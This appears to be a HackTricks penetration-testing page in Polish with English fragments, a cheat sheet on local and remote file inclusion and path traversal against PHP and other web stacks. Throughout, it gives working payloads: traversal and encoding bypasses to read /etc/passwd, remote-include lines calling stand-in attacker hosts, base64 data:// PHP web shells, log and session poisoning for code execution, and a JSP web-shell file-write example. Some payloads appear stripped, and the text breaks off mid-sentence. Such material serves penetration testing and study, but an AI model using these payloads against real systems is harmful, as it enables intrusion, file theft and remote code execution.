# File Inclusion/Path traversal {{#include ../../banners/hacktricks-training.md}} ## File Inclusion **Remote File Inclusion (RFI):** Plik jest ładowany z zdalnego serwera (Najlepiej: możesz napisać kod i serwer go wykona). W php jest to domyślnie **wyłączone** (**allow_url_include**).\ **Local File Inclusion (LFI):** Serwer ładuje lokalny plik. Luka występuje, gdy użytkownik w jakiś sposób może kontrolować plik, który ma zostać załadowany przez serwer. Funkcje **PHP** podatne: require, require_once, include, include_once Ciekawe narzędzie do wykorzystania tej podatności: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) ## Blind - Interesting - LFI2RCE files ```python wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ ``` ### **Linux** **Łącząc kilka list LFI \*nix i dodając więcej ścieżek, stworzyłem tę jedną:** {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt {{#endref}} Spróbuj także zmienić `/` na `\`\ Spróbuj także dodać `../../../../../` Listę, która używa kilku technik do znalezienia pliku /etc/password (aby sprawdzić, czy vulnerability istnieje) można znaleźć [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) ### **Windows** Połączenie różnych wordlists: {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt {{#endref}} Spróbuj także zmienić `/` na `\`\ Spróbuj także usunąć `C:/` i dodać `../../../../../` Listę, która używa kilku technik do znalezienia pliku /boot.ini (aby sprawdzić, czy vulnerability istnieje) można znaleźć [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) ### **OS X** Sprawdź listę LFI dla Linux. ## Podstawowe LFI i obejścia Wszystkie przykłady dotyczą Local File Inclusion, ale mogą być też zastosowane do Remote File Inclusion also (page=[http://myserver.com/phpshellcode.txt\\](). ``` http://example.com/index.php?page=../../../etc/passwd ``` ### traversal sequences usuwane nierekursywnie ```python http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` ### **Null byte (%00)** Bypass omijający dodawanie dodatkowych znaków na końcu podanego łańcucha (bypass of: $\_GET\['param']."php") ``` http://example.com/index.php?page=../../../etc/passwd%00 ``` To zostało **rozwiązane od PHP 5.4** ### **Kodowanie** Możesz użyć niestandardowych kodowań, takich jak double URL encode (i inne): ``` http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` ### Z istniejącego folderu Być może back-end sprawdza ścieżkę folderu: ```python http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` ### Eksploracja katalogów systemu plików na serwerze System plików serwera można przeszukiwać rekursywnie, aby zidentyfikować katalogi, nie tylko pliki, stosując określone techniki. Proces ten obejmuje ustalenie głębokości katalogu i sprawdzanie istnienia konkretnych katalogów. Poniżej znajduje się szczegółowa metoda, jak to osiągnąć: 1. **Określ głębokość katalogu:** Ustal głębokość bieżącego katalogu poprzez pomyślne pobranie pliku /etc/passwd (dotyczy serwerów opartych na Linuksie). Przykładowy URL może wyglądać następująco, wskazując głębokość 3: ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` 2. **Probe for Folders:** Dodaj nazwę podejrzanego folderu (np. `private`) do URL, a następnie wróć do `/etc/passwd`. Dodatkowy poziom katalogu wymaga zwiększenia głębokości o jeden: ```bash http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 ``` 3. **Interpretacja wyników:** Odpowiedź serwera wskazuje, czy folder istnieje: - **Błąd / Brak wyjścia:** Folder `private` prawdopodobnie nie istnieje pod wskazaną ścieżką. - **Zawartość `/etc/passwd`:** Potwierdzono obecność folderu `private`. 4. **Eksploracja rekurencyjna:** Odkryte foldery można dalej sprawdzać pod kątem podkatalogów lub plików używając tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI). Dla eksploracji katalogów w innych lokalizacjach systemu plików, odpowiednio dostosuj payload. Na przykład, aby sprawdzić, czy `/var/www/` zawiera katalog `private` (zakładając, że bieżący katalog znajduje się na głębokości 3), użyj: ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` ### **Path Truncation Technique** Path truncation is a method employed to manipulate file paths in web applications. Często jest wykorzystywana do uzyskania dostępu do plików z ograniczonym dostępem przez obejście mechanizmów bezpieczeństwa, które dopisują dodatkowe znaki na końcu ścieżek plików. Celem jest skonstruowanie ścieżki pliku, która po zmodyfikowaniu przez mechanizm bezpieczeństwa nadal będzie wskazywać na żądany plik. In PHP, various representations of a file path can be considered equivalent due to the nature of the file system. Na przykład: - `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path. - Gdy ostatnie 6 znaków to `passwd`, dopisanie `/` (tworząc `passwd/`) nie zmienia docelowego pliku. - Podobnie, jeśli do ścieżki pliku dopisane jest `.php` (np. `shellcode.php`), dodanie `/.` na końcu nie zmieni pliku, do którego uzyskiwany jest dostęp. Poniższe przykłady pokazują, jak wykorzystać path truncation do uzyskania dostępu do `/etc/passwd`, częstego celu ze względu na jego wrażliwe dane (informacje o kontach użytkowników): ``` http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. ``` ``` http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd ``` W tych scenariuszach liczba potrzebnych traversals może wynosić około 2027, ale liczba ta może się różnić w zależności od konfiguracji serwera. - **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) połączone z dodatkowymi dot segments i znakami mogą być użyte do nawigacji po systemie plików, skutecznie ignorując przez serwer dołączone ciągi znaków. - **Determining the Required Number of Traversals**: Metodą prób i błędów można ustalić dokładną liczbę sekwencji `../` potrzebnych do przejścia do katalogu root, a następnie do `/etc/passwd`, zapewniając, że wszelkie dołączone ciągi (np. `.php`) zostaną zneutralizowane, podczas gdy żądana ścieżka (`/etc/passwd`) pozostanie nienaruszona. - **Starting with a Fake Directory**: Częstą praktyką jest rozpoczęcie ścieżki od nieistniejącego katalogu (np. `a/`). Technika ta jest używana jako środek ostrożności lub do spełnienia wymagań logiki parsowania ścieżek serwera. Stosując techniki path truncation, kluczowe jest zrozumienie zachowania parsowania ścieżek przez serwer oraz struktury systemu plików. Każdy scenariusz może wymagać innego podejścia, a testy są często niezbędne, aby znaleźć najbardziej efektywną metodę. **This vulnerability was corrected in PHP 5.3.** ### **Filter bypass tricks** ``` http://example.com/index.php?page=....//....//etc/passwd http://example.com/index.php?page=..///////..////..//////etc/passwd http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd http://example.com/index.php?page=PhP://filter ``` ## Remote File Inclusion W php jest to wyłączone domyślnie, ponieważ **`allow_url_include`** jest **Off.** Musi być **On**, aby działało, i w takim przypadku możesz dołączyć plik PHP ze swojego serwera i uzyskać RCE: ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` Jeśli z jakiegoś powodu **`allow_url_include`** jest **On**, ale PHP filtruje dostęp do zewnętrznych stron, [według tego wpisu](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), możesz na przykład użyć data protocol z base64, aby zdekodować b64 PHP code i uzyskać RCE: ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` > [!TIP] > W poprzednim kodzie na końcu dodano `+.txt`, ponieważ atakujący potrzebował ciągu kończącego się na `.txt`, więc ciąg kończy się tą częścią, a po b64 decode ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (a w konsekwencji wykonany). Inny przykład **nie używający protokołu `php://`** to: ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` ## Element root w Pythonie W Pythonie, w kodzie takim jak ten: ```python # file_name is controlled by a user os.path.join(os.getcwd(), "public", file_name) ``` Jeśli użytkownik poda **absolute path** do **`file_name`**, **poprzednia ścieżka zostaje po prostu usunięta**: ```python os.path.join(os.getcwd(), "public", "/etc/passwd") '/etc/passwd' ``` To jest zamierzone zachowanie zgodnie z [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join): > Jeśli komponent jest ścieżką bezwzględną, wszystkie poprzednie komponenty są odrzucane i łączenie kontynuuje się od komponentu będącego ścieżką bezwzględną. ## Java Listowanie katalogów Wygląda na to, że jeśli masz Path Traversal w Java i **zażądasz katalogu** zamiast pliku, **zwrócona zostanie lista zawartości katalogu**. Nie będzie to miało miejsca w innych językach (o ile wiem). ## Top 25 parameters Oto lista top 25 parametrów, które mogą być podatne na local file inclusion (LFI) vulnerabilities (from [link](https://twitter.com/trbughunters/status/1279768631845494787)): ``` ?cat={payload} ?dir={payload} ?action={payload} ?board={payload} ?date={payload} ?detail={payload} ?file={payload} ?download={payload} ?path={payload} ?folder={payload} ?prefix={payload} ?include={payload} ?page={payload} ?inc={payload} ?locate={payload} ?show={payload} ?doc={payload} ?site={payload} ?type={payload} ?view={payload} ?content={payload} ?document={payload} ?layout={payload} ?mod={payload} ?conf={payload} ``` ## LFI / RFI używające wrapperów i protokołów PHP ### php://filter Filtry PHP pozwalają wykonywać podstawowe **operacje modyfikacji danych** zanim zostaną one odczytane lub zapisane. Istnieje 5 kategorii filtrów: - [String Filters](https://www.php.net/manual/en/filters.string.php): - `string.rot13` - `string.toupper` - `string.tolower` - `string.strip_tags`: Usuwa tagi z danych (wszystko pomiędzy znakami "<" i ">") - Note that this filter has disappear from the modern versions of PHP - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) - `convert.base64-encode` - `convert.base64-decode` - `convert.quoted-printable-encode` - `convert.quoted-printable-decode` - `convert.iconv.*` : Konwertuje do innego kodowania (`convert.iconv..`). Aby uzyskać **listę wszystkich obsługiwanych kodowań** uruchom w konsoli: `iconv -l` > [!WARNING] > Nadużywając filtru konwersji `convert.iconv.*` możesz **wygenerować dowolny tekst**, co może być przydatne, by zapisać dowolny tekst lub sprawić, że funkcja taka jak include przetworzy dowolny tekst. Więcej informacji znajdziesz w [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) - `zlib.deflate`: Kompresuje zawartość (useful if exfiltrating a lot of info) - `zlib.inflate`: Dekompresuje dane - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) - `mcrypt.*` : Deprecated - `mdecrypt.*` : Deprecated - Other Filters - Uruchamiając w PHP `var_dump(stream_get_filters());` możesz znaleźć kilka **nieoczekiwanych filtrów**: - `consumed` - `dechunk`: odwraca HTTP chunked encoding - `convert.*` ```php # String Filters ## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd"); ## Same chain without the "|" char echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd"); ## string.string_tags example echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,Boldlalalala"); # Conversion filter ## B64 decode echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8="); ## Chain B64 encode and decode echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd"); ## convert.quoted-printable-encode example echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo="); =C2=A3hellooo=3D ## convert.iconv.utf-8.utf-16le echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo="); # Compresion Filter ## Compress + B64 echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd"); readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally # note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient) ``` > [!WARNING] > Część "php://filter" nie rozróżnia wielkości liter ### Użycie php filters jako oracle do czytania dowolnych plików [**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) is proposed a technique to read a local file without having the output given back from the server. This technique is based on a **boolean exfiltration of the file (char by char) using php filters** as oracle. This is because php filters can be used to make a text larger enough to make php throw an exception. W oryginalnym poście znajdziesz szczegółowe wyjaśnienie techniki, ale tutaj krótkie podsumowanie: - Użyj kodeka **`UCS-4LE`** aby pozostawić pierwszy znak tekstu na początku i sprawić, że rozmiar łańcucha będzie rósł wykładniczo. - Posłuży to do wygenerowania **tekstu tak dużego, że gdy początkowa litera zostanie odgadnięta** php wywoła **błąd**. - Filtr **dechunk** **usunie wszystko, jeśli pierwszy znak nie jest szesnastkowy**, więc możemy sprawdzić, czy pierwszy znak jest hex. - To, w połączeniu z poprzednim (i innymi filtrami zależnymi od odgadywanej litery), pozwoli nam odgadnąć literę na początku tekstu, obserwując, kiedy wykonamy wystarczająco dużo transformacji, by przestała być znakiem szesnastkowym. Ponieważ jeśli jest hex, dechunk jej nie usunie i początkowa bomba spowoduje błąd php. - Kodek **convert.iconv.UNICODE.CP930** zamienia każdą literę na następną (czyli po tym kodeku: a -> b). Pozwala to ustalić, czy pierwsza litera to na przykład `a`, ponieważ jeśli zastosujemy 6 razy ten kodek a->b->c->d->e->f->g, litera przestaje być znakiem szesnastkowym, więc dechunk jej nie usunie i zostanie wywołany błąd php, ponieważ mnoży się z początkową bombą. - Stosując inne transformacje, jak **rot13** na początku, można leakować inne znaki, takie jak n, o, p, q, r (i inne kodeki można użyć, by przesunąć inne litery do zakresu hex). - Gdy początkowy znak jest cyfrą, trzeba go zakodować base64 i leakować pierwsze 2 znaki, aby leakować liczbę. - Końcowym problemem jest ustalenie, **jak leakować więcej niż początkową literę**. Używając filtrów zmieniających kolejność bajtów, jak **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, można zmienić kolejność znaków i umieścić na pierwszej pozycji inne litery z tekstu. - A aby móc uzyskać **dalsze dane** pomysł polega na **wygenerowaniu 2 bajtów śmieci na początku** przy użyciu **convert.iconv.UTF16.UTF16**, zastosowaniu **UCS-4LE**, aby to **pivot with the next 2 bytes**, oraz **usunąć dane aż do junk data** (to usunie pierwsze 2 bajty początkowego tekstu). Kontynuuj to, aż dojdziesz do pożądanego fragmentu do leakowania. W poście opublikowano również narzędzie automatyzujące to: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). ### php://fd Ten wrapper pozwala uzyskać dostęp do deskryptorów plików, które proces ma otwarte. Potencjalnie przydatne do exfiltrate zawartości otwartych plików: ```php echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); ``` Możesz także użyć **php://stdin, php://stdout and php://stderr** aby uzyskać dostęp do **file descriptors 0, 1 and 2** odpowiednio (nie jestem pewien, jak mogłoby to być przydatne w ataku) ### zip:// and rar:// Wgraj plik Zip lub Rar z PHPShell w środku i uzyskaj do niego dostęp.\ Aby móc wykorzystać protokół rar, **musi być on specjalnie aktywowany**. ```bash echo "
" > payload.php; zip payload.zip payload.php; mv payload.zip shell.jpg; rm payload.php http://example.com/index.php?page=zip://shell.jpg%23payload.php # To compress with rar rar a payload.rar payload.php; mv payload.rar shell.jpg; rm payload.php http://example.com/index.php?page=rar://shell.jpg%23payload.php ``` ### data:// ``` http://example.net/?page=data://text/plain, http://example.net/?page=data://text/plain, http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "" ``` Uwaga: ten protokół jest ograniczony ustawieniami PHP **`allow_url_open`** i **`allow_url_include`** ### expect:// Expect musi być włączony. Możesz uruchomić kod za jego pomocą: ``` http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls ``` ### input:// Określ swój payload w parametrach POST: ```bash curl -XPOST "http://example.com/index.php?page=php://input" --data "" ``` ### phar:// Plik `.phar` może być wykorzystany do wykonania kodu PHP, gdy aplikacja webowa używa funkcji takich jak `include` do ładowania plików. Poniższy fragment kodu PHP pokazuje tworzenie pliku `.phar`: ```php startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub(''); $phar->stopBuffering(); ``` Aby skompilować plik `.phar`, należy wykonać następujące polecenie: ```bash php --define phar.readonly=0 create_path.php ``` Po uruchomieniu zostanie utworzony plik o nazwie `test.phar`, który potencjalnie może zostać wykorzystany do eksploitacji podatności Local File Inclusion (LFI). W przypadkach, gdy LFI jedynie odczytuje pliki bez wykonywania zawartego w nich kodu PHP — przez funkcje takie jak `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` lub `filesize()` — można spróbować wykorzystać podatność typu deserialization. Ta podatność wiąże się z odczytem plików przy użyciu protokołu `phar`. For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below: [Phar Deserialization Exploitation Guide](phar-deserialization.md) {{#ref}} phar-deserialization.md {{#endref}} ### CVE-2024-2961 Można było wykorzystać **any arbitrary file read from PHP that supports php filters** aby uzyskać RCE. Szczegółowy opis można [**znaleźć w tym poście**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1). Bardzo krótkie podsumowanie: a **3 byte overflow** w PHP heap został wykorzystany, aby **zmodyfikować łańcuch wolnych chunków** o określonym rozmiarze, co pozwoliło **zapisać cokolwiek pod dowolnym adresem**, więc dodano hook wywołujący **`system`**. Możliwe było alokowanie chunków o określonych rozmiarach poprzez nadużycie dodatkowych php filters. ### Więcej protokołów Sprawdź więcej możliwych[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:** - [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Zapis w pamięci lub w pliku tymczasowym (nie jestem pewien, jak to może być użyteczne w ataku file inclusion) - [file://](https://www.php.net/manual/en/wrappers.file.php) — Dostęp do lokalnego systemu plików - [http://](https://www.php.net/manual/en/wrappers.http.php) — Dostęp do URL-i HTTP(s) - [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Dostęp do adresów FTP(s) - [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Strumienie kompresji - [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Znajdowanie ścieżek pasujących do wzorca (Nie zwraca nic czytelnego, więc nie jest tu zbyt przydatny) - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2 - [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Strumienie audio (Nieprzydatne do odczytu dowolnych plików) ## LFI przez 'assert' w PHP Ryzyko Local File Inclusion (LFI) w PHP jest szczególnie wysokie przy użyciu funkcji 'assert', która może wykonywać kod zawarty w stringach. Jest to szczególnie problematyczne, jeśli wejście zawierające znaki directory traversal, takie jak "..", jest sprawdzane, ale nieprawidłowo sanityzowane. For example, PHP code might be designed to prevent directory traversal like so: ```bash assert("strpos('$file', '..') === false") or die(""); ``` Choć ma to na celu powstrzymanie traversal, niezamierzenie tworzy wektor dla code injection. Aby wykorzystać to do odczytu zawartości pliku, atakujący mógłby użyć: ```plaintext ' and die(highlight_file('/etc/passwd')) or ' ``` Podobnie, do wykonywania dowolnych poleceń systemowych można użyć: ```plaintext ' and die(system("id")) or ' ``` Ważne jest, aby **URL-encode these payloads**. ## PHP Blind Path Traversal > [!WARNING] > Ta technika ma zastosowanie w przypadkach, gdy **control** ścieżki pliku (**file path**) funkcji **PHP function** która będzie **access a file**, ale nie zobaczysz zawartości pliku (np. proste wywołanie **`file()`**), ponieważ zawartość nie jest wyświetlana. W [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wyjaśniono, jak blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**. Podsumowując, technika wykorzystuje kodowanie **"UCS-4LE" encoding**, aby zawartość pliku była tak **big**, że **PHP function opening** plik wywoła **error**. Następnie, aby leak the first char używany jest filtr **`dechunk`** wraz z innymi, takimi jak **base64** czy **rot13**, a ostatecznie filtry **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE** są używane, aby **place other chars at the beggining and leak them**. Funkcje, które mogą być podatne: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` Szczegóły techniczne znajdziesz we wspomnianym poście! ## LFI2RCE ### Arbitrary File Write via Path Traversal (Webshell RCE) Gdy kod po stronie serwera, który przyjmuje/wgrywa pliki, buduje ścieżkę docelową używając danych kontrolowanych przez użytkownika (np. filename lub URL) bez canonicalising i walidacji, segmenty `..` i ścieżki absolutne mogą uciec z zamierzonego katalogu i spowodować arbitrary file write. Jeśli możesz umieścić payload w katalogu wystawionym w sieci, zazwyczaj uzyskujesz unauthenticated RCE przez upuszczenie webshell. Typowy przebieg eksploatacji: - Znajdź write primitive w endpoint lub background worker, który akceptuje path/filename i zapisuje zawartość na dysku (np. message-driven ingestion, XML/JSON command handlers, ZIP extractors itp.). - Określ web-exposed directories. Typowe przykłady: - Apache/PHP: `/var/www/html/` - Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` - Stwórz traversal path, który wydostanie się z zamierzonego katalogu storage do webroot i dołącz zawartość webshell. - Otwórz upuszczony payload w przeglądarce i wykonaj polecenia. Uwagi: - Usługa wykonująca zapis może nasłuchiwać na porcie nie-HTTP (np. JMF XML listener na TCP 4004). Główny web portal (inny port) później będzie serwować twój payload. - Na stosach Java, zapisy plików są często implementowane prostym łączeniem `File`/`Paths`. Brak canonicalisation/allow-listing jest główną wadą. Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal): ```xml ../../../webapps/ROOT/shell.jsp <% String c = request.getParameter("cmd"); if (c != null) { Process p = Runtime.getRuntime().exec(c); try (var in = p.getInputStream(); var out = response.getOutputStream()) { in.transferTo(out); } } %> ]]> ``` Środki zabezpieczające, które niwelują tę klasę błędów: - Rozwiązuj do ścieżki kanonicznej i wymuszaj, aby była potomkiem katalogu bazowego znajdującego się na białej liście. - Odrzucaj każdą ścieżkę zawierającą `..`, ścieżki absolutne lub litery dysków; preferuj generowane nazwy plików. - Uruchamiaj proces zapisujący jako konto o ograniczonych uprawnieniach i oddziel katalogi zapisu od katalogów serwowanych. ## Remote File Inclusion Explained previously, [**follow this link**](#remote-file-inclusion). ### Via Apache/Nginx log file Jeśli serwer Apache lub Nginx jest **podatny na LFI** wewnątrz funkcji include możesz spróbować uzyskać dostęp do **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, umieścić w **user agent** lub w **GET parameter** php shell taki jak **``** i includeować ten plik > [!WARNING] > Zauważ, że **jeśli użyjesz podwójnych cudzysłowów** dla shell zamiast **pojedynczych**, podwójne cudzysłowy zostaną zmienione na łańcuch znaków "_**quote;**_", **PHP zgłosi błąd** i **nic więcej nie zostanie wykonane**. > > Upewnij się również, że **prawidłowo zapisujesz payload** lub PHP będzie zgłaszać błąd za każdym razem, gdy spróbuje wczytać plik logu i nie będziesz miał drugiej szansy. To można również zrobić w innych logach, ale **uważaj,** kod w logach może być URL encoded i to może zniszczyć Shell. Nagłówek **authorisation "basic"** zawiera "user:password" w Base64 i jest dekodowany w logach. PHPShell może być wstawiony wewnątrz tego nagłówka.\ Other possible log paths: ```python /var/log/apache2/access.log /var/log/apache/access.log /var/log/apache2/error.log /var/log/apache/error.log /usr/local/apache/log/error_log /usr/local/apache2/log/error_log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/httpd/error_log ``` Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI) ### Przez e-mail **Wyślij maila** na konto wewnętrzne (user@localhost) zawierającego Twój PHP payload jak `` i spróbuj include'ować mail użytkownika ze ścieżką taką jak **`/var/mail/`** lub **`/var/spool/mail/`** ### Przez /proc/*/fd/* 1. Uploaduj dużo shelli (na przykład: 100) 2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too) ### Przez /proc/self/environ Podobnie jak w przypadku pliku logu, wyślij payload w User-Agent, zostanie on odzwierciedlony w pliku /proc/self/environ ``` GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` ### Via upload Jeśli możesz uploadować plik, po prostu wstrzyknij w niego shell payload (np.: ``). ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` Aby plik pozostał czytelny, najlepiej wstrzyknąć to do metadanych obrazków/doc/pdf ### Przez przesłanie pliku ZIP Prześlij plik ZIP zawierający skompresowany PHP shell i uzyskaj dostęp: ```python example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php ``` ### Przez sesje PHP Sprawdź, czy strona używa sesji PHP (PHPSESSID) ``` Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` W PHP te sesje są przechowywane w plikach _/var/lib/php5/sess\\_\[PHPSESSID]\_ ``` /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; ``` Ustaw cookie na `` ``` login=1&user=&pass=password&lang=en_us.php ``` Użyj LFI, aby dołączyć plik sesji PHP ``` login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2 ``` ### Przez ssh Jeśli ssh jest aktywny, sprawdź, który użytkownik jest używany (/proc/self/status & /etc/passwd) i spróbuj uzyskać dostęp do **\/.ssh/id_rsa** ### **Przez** **vsftpd** _**logi**_ Logi serwera FTP vsftpd znajdują się w _**/var/log/vsftpd.log**_. W scenariuszu, gdy występuje luka typu Local File Inclusion (LFI) i możliwy jest dostęp do wystawionego serwera vsftpd, można rozważyć następujące kroki: 1. Wstrzyknij payload PHP w pole username podczas procesu logowania. 2. Po wstrzyknięciu użyj LFI, aby pobrać logi serwera z _**/var/log/vsftpd.log**_. ### Przez php base64 filter (używając base64) Jak pokazano w [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artykule, PHP base64 filter po prostu ignoruje znaki niebędące base64. Możesz użyć tego, aby obejść sprawdzanie rozszerzenia pliku: jeśli dostarczysz base64, które kończy się na ".php", filtr zignoruje "." i dołączy "php" do base64. Oto przykładowy payload: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php NOTE: the payload is "" ``` ### Za pomocą php filters (plik nie jest potrzebny) This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) wyjaśnia, że możesz użyć **php filters to generate arbitrary content** jako output. Co w zasadzie oznacza, że możesz **generate arbitrary php code** dla include **without needing to write** go do pliku. {{#ref}} lfi2rce-via-php-filters.md {{#endref}} ### Za pomocą segmentation fault **Upload** plik, który zostanie zapisany jako **temporary** w `/tmp`, następnie w **tej samej request** wywołaj **segmentation fault**, a wtedy **temporary file won't be deleted** i możesz go wyszukać. {{#ref}} lfi2rce-via-segmentation-fault.md {{#endref}} ### Za pomocą Nginx temp file storage Jeśli znalazłeś **Local File Inclusion** i **Nginx** działa przed PHP, możesz być w stanie uzyskać RCE przy użyciu poniższej techniki: {{#ref}} lfi2rce-via-nginx-temp-files.md {{#endref}} ### Za pomocą PHP_SESSION_UPLOAD_PROGRESS Jeśli znalazłeś **Local File Inclusion**, nawet jeśli **don't have a session** i `session.auto_start` jest `Off`. Jeśli dostarczysz **`PHP_SESSION_UPLOAD_PROGRESS`** w danych **multipart POST**, PHP **enable the session for you**. Można to nadużyć, aby uzyskać RCE: {{#ref}} via-php_session_upload_progress.md {{#endref}} ### Za pomocą temp file uploads in Windows Jeśli znalazłeś **Local File Inclusion** i serwer działa na **Windows**, możesz uzyskać RCE: {{#ref}} lfi2rce-via-temp-file-uploads.md {{#endref}} ### Za pomocą `pearcmd.php` + URL args As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), skrypt `/usr/local/lib/phppearcmd.php` istnieje domyślnie w php docker images. Co więcej, możliwe jest przekazanie argumentów do skryptu przez URL, ponieważ wskazano, że jeśli parametr URL nie ma `=`, powinien być użyty jako argument. Zobacz także 